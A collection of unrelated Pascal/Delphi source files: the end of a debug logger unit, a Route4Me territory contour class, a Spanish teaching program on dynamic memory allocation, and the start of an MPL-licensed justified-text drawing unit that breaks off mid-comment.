TIntegratedLogger.SendPointer(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; APointer: Pointer); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue, AText + ' = $' + HexStr(APointer), nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendCallStack(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String); var oStream: TStream; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions try oStream:=TMemoryStream.Create; GetCallStack(oStream); SendStream(methCallStack,AText,oStream); //nb: SendStream will free oStream finally oStream.Free; FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; end; function TIntegratedLogger.GetDescriptionOfSQLException(AException: Exception): string; {$Include getdescriptionof_sql_exception_user.inc} end; procedure TIntegratedLogger.SendException(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AException: Exception); {$ifdef fpc} var i: Integer; pFrames: PPointer; sStr: String; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; {$endif} begin {$ifdef fpc} setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwError] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions if (AException <> nil) then sStr:= '▶ ' + AException.ClassName + ': ' + AException.Message + LineEnding + GetDescriptionOfSQLException(AException); // --NOK-- same info. as below; sStr:= sStr + BackTraceStrFunc(ExceptAddr); pFrames:= ExceptFrames; for i:= 0 to ExceptFrameCount - 1 do sStr:= sStr + LineEnding + BackTraceStrFunc(pFrames[i]); SendBuffer(methException,AText,sStr[1],Length(sStr)); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; {$endif} end; procedure TIntegratedLogger.SendHeapInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String); {$ifdef fpc} var sStr: String; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; {$endif} begin {$ifdef fpc} setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions with GetFPCHeapStatus do begin sStr:= 'All values are in [bytes]:'+LineEnding +'MaxHeapSize: '+FormatNumber(MaxHeapSize)+LineEnding +'MaxHeapUsed: '+FormatNumber(MaxHeapUsed)+LineEnding +'CurrHeapSize: '+FormatNumber(CurrHeapSize)+LineEnding +'CurrHeapUsed: '+FormatNumber(CurrHeapUsed)+LineEnding +'CurrHeapFree: '+FormatNumber(CurrHeapFree); end; SendBuffer(methHeapInfo,AText,sStr[1],Length(sStr)); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; {$endif} end; procedure TIntegratedLogger.SendMemory(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; pAddress: Pointer; iSize: LongWord; iOffset: Integer); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions if pAddress <> nil then begin if iOffset <> 0 then pAddress := pAddress + iOffset; end else begin //empty pAddress := Self; iSize := 0; end; SendBuffer(methMemory,AText,pAddress^,iSize); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendIf(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; bExpression, bIsTrue: Boolean); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methConditional,AText,nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendWarning(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwWarning] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methWarning,AText,nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendError(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwError] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methError,AText,nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendCustomData(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; Data: Pointer; CustomDataFunction: TCustomDataNotify); var bDoSend: Boolean; sTempStr: String; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions bDoSend:=True; sTempStr:=CustomDataFunction(Self,Data,bDoSend); if bDoSend then SendBuffer(methCustomData,AText,sTempStr[1],Length(sTempStr)); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendCustomData(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; Data: Pointer; CustomDataFunction: TCustomDataNotifyStatic); var bDoSend: Boolean; sTempStr: String; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions bDoSend:=True; sTempStr:=CustomDataFunction(Self,Data,bDoSend); if bDoSend then SendBuffer(methCustomData,AText,sTempStr[1],Length(sTempStr)); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.AddCheckPoint(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const sCheckName: String); var i: Integer; pOnObj: PtrInt; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions i:=FoCheckList.IndexOf(sCheckName); if i <> -1 then begin //Add a custom CheckList pOnObj:=PtrInt(FoCheckList.Objects[i])+1; FoCheckList.Objects[i]:=TObject(pOnObj); end else begin FoCheckList.AddObject(sCheckName,TObject(0)); pOnObj:=0; end; SendStream(methCheckpoint,sCheckName+' #'+IntToStr(pOnObj),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.IncCounter(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const CounterName: String ); var i: Integer; pOnObject: PtrInt; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions i := FoCounterList.IndexOf(CounterName); if i <> -1 then begin pOnObject := PtrInt(FoCounterList.Objects[i]) + 1; FoCounterList.Objects[i] := TObject(pOnObject); end else begin FoCounterList.AddObject(CounterName, TObject(1)); pOnObject := 1; end; SendStream(methCounter,CounterName+'='+IntToStr(pOnObject),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.DecCounter(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const CounterName: String); var i: Integer; pOnObj: PtrInt; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions i := FoCounterList.IndexOf(CounterName); if i <> -1 then begin pOnObj := PtrInt(FoCounterList.Objects[i]) - 1; FoCounterList.Objects[i] := TObject(pOnObj); end else begin FoCounterList.AddObject(CounterName, TObject(-1)); pOnObj := -1; end; SendStream(methCounter,CounterName+'='+IntToStr(pOnObj),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.ResetCounter(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const CounterName: String); var i: Integer; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions i := FoCounterList.IndexOf(CounterName); if i <> -1 then begin FoCounterList.Objects[i] := TObject(0); SendStream(methCounter, FoCounterList[i] + '=0', nil); end; FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; function TIntegratedLogger.GetCounter(const CounterName: String): Integer; var i: Integer; begin i := FoCounterList.IndexOf(CounterName); if i <> -1 then Result := PtrInt(FoCounterList.Objects[i]) else Result := 0; end; procedure TIntegratedLogger.ResetCheckPoint(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const CheckName:String); var i: Integer; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions i:= FoCheckList.IndexOf(CheckName); if i <> -1 then begin FoCheckList.Objects[i] := TObject(0); SendStream(methCheckpoint, CheckName+' #0',nil); end; FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.EnterMethod(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; Sender: TObject; const AMethodName: String; const AMessage: String); var sAText: String; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwStudyChainedEvents, lwEvents] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions FoLogStack.Insert(0, UpperCase(AMethodName)); if AMessage <> '' then sAText := AMessage else if Sender <> nil then sAText := GetObjectDescription(Sender) + '.' + AMethodName else sAText := AMethodName; SendStream(methEnterMethod, sAText, nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.ExitMethod(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; Sender: TObject; const AMethodName: String; const AMessage: String); var i: Integer; sAText: String; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; //ensure that ExitMethod will be called always even if there's an unpaired Entermethod (!) if FoLogStack.Count = 0 then Exit; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwStudyChainedEvents, lwEvents] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions //todo: see if is necessary to do Uppercase (set case sensitive to false?) i := FoLogStack.IndexOf(UpperCase(AMethodName)); if i <> -1 then FoLogStack.Delete(i) else Exit; if AMessage <> '' then sAText := AMessage else if Sender <> nil then sAText := GetObjectDescription(Sender) + '.' + AMethodName else sAText := AMethodName; SendStream(methExitMethod, sAText, nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Watch(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Integer); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methWatch,AText+'='+IntToStr(AValue),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; {$ifdef fpc} procedure TIntegratedLogger.Watch(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Cardinal); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methWatch,AText+'='+IntToStr(AValue),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; {$endif} procedure TIntegratedLogger.Watch(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Double); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methWatch,AText+'='+FloatToStr(AValue),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Watch(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Boolean); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methWatch,AText+'='+BoolToStr(AValue),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Watch(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText, AValue: String); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methWatch,AText+'='+AValue,nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SubEventBetweenEnterAndExitMethods(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwStudyChainedEvents] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methSubEventBetweenEnterAndExitMethods,AText,nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; { TChannelList } function TChannelList.GetCount: Integer; begin Result := FoList.Count; end; function TChannelList.GetItems(AIndex:Integer): TLogChannel; begin Result := TLogChannel(FoList[AIndex]); end; constructor TChannelList.Create; begin FoList := TFPList.Create; end; destructor TChannelList.Destroy; var i: Integer; begin //free the registered channels for i := FoList.Count - 1 downto 0 do Items[i].Free; FoList.Destroy; end; function TChannelList.Add(AChannel: TLogChannel):Integer; begin Result := FoList.Add(AChannel); AChannel.Init; end; procedure TChannelList.Remove(AChannel: TLogChannel); begin FoList.Remove(AChannel); end; { TLogChannel } procedure TLogChannel.Set_ShowFilterDynamic_forWhatReasonsToLogActually(AValue: Boolean); begin if FbShow_DynamicFilter_forWhatReasonsToLogActually=AValue then Exit; FbShow_DynamicFilter_forWhatReasonsToLogActually:= AValue; end; procedure TLogChannel.SetShowTime(const AValue: Boolean); begin FbShowTime:= AValue; end; procedure TLogChannel.Init; begin //must be overriden in its descendants end; procedure TLogChannelWrapper.Notification(AComponent: TComponent; Operation: TOperation); begin inherited Notification(AComponent, Operation); if (Operation = opRemove) and (FoChannel <> nil) then FoChannel.Active := False; end; initialization goLogger:= TIntegratedLogger.Create; finalization TIntegratedLogger.FoDefaultChannels.Free; goLogger.Free; goLogger:= nil; end.
unit TerritoryContourUnit; interface uses REST.Json.Types, SysUtils, System.Generics.Collections, JSONNullableAttributeUnit, NullableBasicTypesUnit, CommonTypesUnit, EnumsUnit, PositionUnit; type /// <summary> /// Territory parameters /// </summary> /// <remarks> /// https://github.com/route4me/json-schemas/blob/master/Avoidance_zone.dtd /// </remarks> TTerritoryContour = class private [JSONName('type')] [Nullable] FType: NullableString; [JSONName('data')] FData: TStringArray; function GetType: TTerritoryType; procedure SetType(const Value: TTerritoryType); public constructor Create; virtual; function Equals(Obj: TObject): Boolean; override; class function MakeCircleContour( Latitude, Longitude, Radius: double): TTerritoryContour; static; class function MakePolygonContour(Points: TArray<TPosition>): TTerritoryContour; static; class function MakeRectangularContour( Latitude1, Longitude1, Latitude2, Longitude2: double): TTerritoryContour; static; /// <summary> /// Territory type (circle, rectangle, polygon) /// </summary> property TerritoryType: TTerritoryType read GetType write SetType; /// <summary> /// /// </summary> property Data: TStringArray read FData; procedure AddDataItem(Item: String); function Clone: TTerritoryContour; end; implementation { TTerritoryContour } uses UtilsUnit; procedure TTerritoryContour.AddDataItem(Item: String); begin SetLength(FData, Length(FData) + 1); FData[High(FData)] := Item; end; function TTerritoryContour.Clone: TTerritoryContour; var i: integer; begin Result := TTerritoryContour.Create; Result.TerritoryType := TerritoryType; for i := 0 to High(Data) do Result.AddDataItem(Data[i]); end; constructor TTerritoryContour.Create; begin Inherited; FType := NullableString.Null; SetLength(FData, 0); end; function TTerritoryContour.Equals(Obj: TObject): Boolean; var Other: TTerritoryContour; SortedData1, SortedData2: TStringArray; i: integer; begin Result := False; if not (Obj is TTerritoryContour) then Exit; Other := TTerritoryContour(Obj); Result := (FType = Other.FType); if (not Result) then Exit; Result := False; if (Length(Data) <> Length(Other.Data)) then Exit; SortedData1 := TUtils.SortStringArray(Data); SortedData2 := TUtils.SortStringArray(Other.Data); for i := 0 to Length(SortedData1) - 1 do if not SortedData1[i].Equals(SortedData2[i]) then Exit; Result := True; end; function TTerritoryContour.GetType: TTerritoryType; var TerritoryType: TTerritoryType; begin Result := TTerritoryType.ttUndefined; if FType.IsNotNull then for TerritoryType := Low(TTerritoryType) to High(TTerritoryType) do if (FType = TTerritoryTypeDescription[TerritoryType]) then Exit(TerritoryType); end; class function TTerritoryContour.MakeCircleContour(Latitude, Longitude, Radius: double): TTerritoryContour; begin Result := TTerritoryContour.Create; Result.TerritoryType := TTerritoryType.ttCircle; Result.AddDataItem(TUtils.FloatToStrDot(Latitude) + ',' + TUtils.FloatToStrDot(Longitude)); Result.AddDataItem(TUtils.FloatToStrDot(Radius)); end; class function TTerritoryContour.MakePolygonContour( Points: TArray<TPosition>): TTerritoryContour; var i: integer; begin Result := TTerritoryContour.Create; Result.TerritoryType := TTerritoryType.ttPoly; for i := 0 to High(Points) do Result.AddDataItem( TUtils.FloatToStrDot(Points[i].Latitude) + ',' + TUtils.FloatToStrDot(Points[i].Longitude)); end; class function TTerritoryContour.MakeRectangularContour(Latitude1, Longitude1, Latitude2, Longitude2: double): TTerritoryContour; begin Result := TTerritoryContour.Create; Result.TerritoryType := TTerritoryType.ttRect; Result.AddDataItem(TUtils.FloatToStrDot(Latitude1) + ',' + TUtils.FloatToStrDot(Longitude1)); Result.AddDataItem(TUtils.FloatToStrDot(Latitude2) + ',' + TUtils.FloatToStrDot(Longitude2)); end; procedure TTerritoryContour.SetType(const Value: TTerritoryType); begin FType := TTerritoryTypeDescription[Value]; end; end.
Program Alocacion_Dinamica; Type TEmpleado = record sucursal: char; apellido: string[25]; correoElectrónico: string[40]; sueldo: real; end; Str50 = string[50]; Var alguien: TEmpleado; PtrEmpleado: ^TEmpleado; Begin {Suponer que en este punto se cuenta con 400.000 bytes de memoria disponible(I)} Readln( alguien.apellido ); {Pensar si la lectura anterior ha hecho variar lacantidad de memoria(II)} // No, la memoria que ocupa el registro fue reservada en el momento de su declaración (línea 11) New( PtrEmpleado ); {¿Cuánta memoria disponible hay ahora?(III)} // En este momento la memoria estática permeanece igual ya que el puntero fue declarado // en la línea 12, sin embargo la memoria dinámica disminuye 72 bytes porque se crea // un registro TEmpleado en la misma, memoria disponible= 399928 bytes Readln( PtrEmpleado^.Sucursal, PtrEmpleado^.apellido); Readln( PtrEmpleado^.correoElectrónico, PtrEmpleado^.sueldo); {¿Cuánta memoria disponible hay ahora?(IV)} // Permanece como en el punto anterior : 399928 bytes Dispose( PtrEmpleado ); {¿Cuánta memoria disponible hay ahora?(V)} // Se elimina la referencia y el espacio reservado para el registro, la memoria // vuelve a estar como al principio de la ejecución principal del programa // 400000 bytes end.
unit JustifiedDrawText; (* ***** BEGIN LICENSE BLOCK ***** * Version: MPL 1.1 * * The contents of this file are subject to the Mozilla Public License Version * 1.1 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is DrawTextJustified, a method (and supporting methods) to draw fully- * justified text on a canvas. * * The Initial Developer of the Original Code is David Millington. * * Portions created by the Initial Developer are Copyright (C) 2014 * the Initial Developer. All Rights Reserved. * * Contributor(s): David Millington * * ***** END LICENSE BLOCK ***** *) interface uses Vcl.Graphics, System.Types; type TDrawTextJustifiedOptions = set of ( tjJustifyTrailingLines, // Is the last line of a paragraph fully justified too? Normally only // left-justified tjJustifySingleWords, // A line of a single word (trailing or otherwise) will stretch the word // out, spaces between characters tjMeasureOnly, // Like DT_CALCRECT: doesn't draw anything, just adjusts the rect tjForceManual // Always use the alternative, non-Windows text output method. Not necessary to // specify; it is automatically used when required regardless of this setting ); procedure DrawTextJustified(const Canvas : TCanvas; const Text : string; var Rect : TRect; const Options : TDrawTextJustifiedOptions); implementation uses Winapi.Windows, Generics.Collections, System.SysUtils, System.Math, System.StrUtils; type TLine = record private FText : string; FLengthPx, FNumBreakChars : Integer; FJustifyThisLine : Boolean; // False for, eg, the last line of a paragraph FIsTrailingLine : Boolean; FIsSingleWord : Boolean; function GetWordWithZeroWidthSpaces : string; public constructor Create(const Text : string; const LengthPx : Integer; const BreakChar : Char; const IsTrailingLine, Justify : Boolean); property Text : string read FText; property WordWithZeroWidthSpaces : string read GetWordWithZeroWidthSpaces; property LengthPx : Integer read FLengthPx; property NumBreakChars : Integer read FNumBreakChars; property Justify : Boolean read FJustifyThisLine; property IsTrailingLine : Boolean read FIsTrailingLine; property IsSingleWord : Boolean read FIsSingleWord; end; const ZeroWidthSpace = #8203; // $200B; http://www.fileformat.info/info/unicode/char/200B/index.htm // http://stackoverflow.com/questions/15294501/how-to-count-number-of-occurrences-of-a-certain-char-in-string function OccurrencesOfChar(const S: string; const C: char): integer; var I: Integer; begin Result := 0; for I := 1 to Length(S) do if S[I] = C then Inc(Result); end; { TLine } constructor TLine.Create(const Text: string; const LengthPx: Integer; const BreakChar : Char; const IsTrailingLine, Justify : Boolean); begin FText := Text; FLengthPx := LengthPx; FIsTrailingLine := IsTrailingLine; // Setting the justification requires knowing how many 'break characters' there are - usually // spaces. See http://msdn.microsoft.com/en-us/library/windows/desktop/dd145094(v=vs.85).aspx // Find a font's break character using GetTextMetrics (passed in here.) FNumBreakChars := OccurrencesOfChar(Text, BreakChar); FIsSingleWord := FNumBreakChars = 0; // If it's (eg) the last line of a paragraph then it should not be justified (this is always true // including for last lines if DrawTextJustified is called with JustifyTrailingLines = true.) FJustifyThisLine := Justify; end; function TLine.GetWordWithZeroWidthSpaces: string; var Loop : Integer; begin // This is used when justifying the trailing lines of paragraphs, and justifying single words // It splits a word with zero-width spaces (so pritning it should print it the same as without // spaces) and returns that, and that in turn will be split into "words" of one char each assert(FIsSingleWord); // Otherwise should not call if not FIsSingleWord then Result := Text else begin for Loop := 1 to Length(FText) do begin Result := Result + FText[Loop]; if Loop <> Length(FText) then // don't add the space after the last character Result := Result + ZeroWidthSpace; end; end; end; { Other } function GetBreakChar(const Canvas : TCanvas; PFontSupportsJustification : PBoolean) : Char; var Metrics : TTextMetric; SupportsJustification : Boolean; begin SupportsJustification := true; // assume it can normally GetTextMetrics(Canvas.Handle, Metrics); Result := Metrics.tmBreakChar; // "tmBreakChar: The value of the character that will be used to define word breaks for text justification." // - http://msdn.microsoft.com/en-us/library/windows/desktop/dd145132(v=vs.85).aspx // But some fonts, such as Segoe UI (!), define this as #13 - a line break. // Check if it is a character that takes up space onscreen, and if not return the space char if Canvas.TextWidth(Result) = 0 then begin Result := ' '; SupportsJustification := false; end; if Assigned(PFontSupportsJustification) then PFontSupportsJustification^ := SupportsJustification; end; function EndsWithLineBreaks(const Text : string) : Boolean; var EndChar : Char; begin // A line can end with #10 or #13 (or both) if Length(Text) = 0 then Exit(False); EndChar := Text[Length(Text)]; Result := (EndChar = #10) or (EndChar = #13); end; procedure ManualJustifyTextOut(const Canvas : TCanvas; const X, Y : Integer; const Line : TLine; const SpaceToFill : Integer; BreakChar : Char; const JustifySingleWords : Boolean); var Words : TStringDynArray; BreakSize : Integer; BreakAddition : Single; BreakAdditionInt : Integer; BreakFraction : Single; AmountOff : Single; AmountOffInt : Integer; Index : Integer; CurrentX : Integer; Space : Integer; OrigRounding : TRoundingMode; LineText : string; begin // Manual implementation! Break the string up at each BreakChar (probably a space) and draw // each word separately. The gap in between should be increased by a fraction of the space. // Problem is, the fraction won't be integer. Suppose Space = 4px and there are 8 words, so // 7 spaces. Each space should be increased by 4/7 = 0.57 pixels. // Keep a running count of the amount "off" we are, rounding the fraction. So, space + round(0.57) // and the amount off will be +- 0.something. Add a rounded version of that to the space too: // space + round(0.57); space + round(amountoff); amountoff = desired-actual. // Rounding mode affects this - you get different behaviour in the middle of the line if it // truncates, rounds to nearest, etc. IMO rounding to nearest looks best. Nothing quite mimics // the inbuilt Windows method; toggling between manual and inbuilt will shift mid-line words by // one pixel no matter what, and the rounding just affects which words. // Normally a single word is left-justified. But if the option is on to justify it, do so by // (a) using this manual method - Windows doesn't support this - and (b) faking it by inserting // zero-width spaces and using those as the break char if 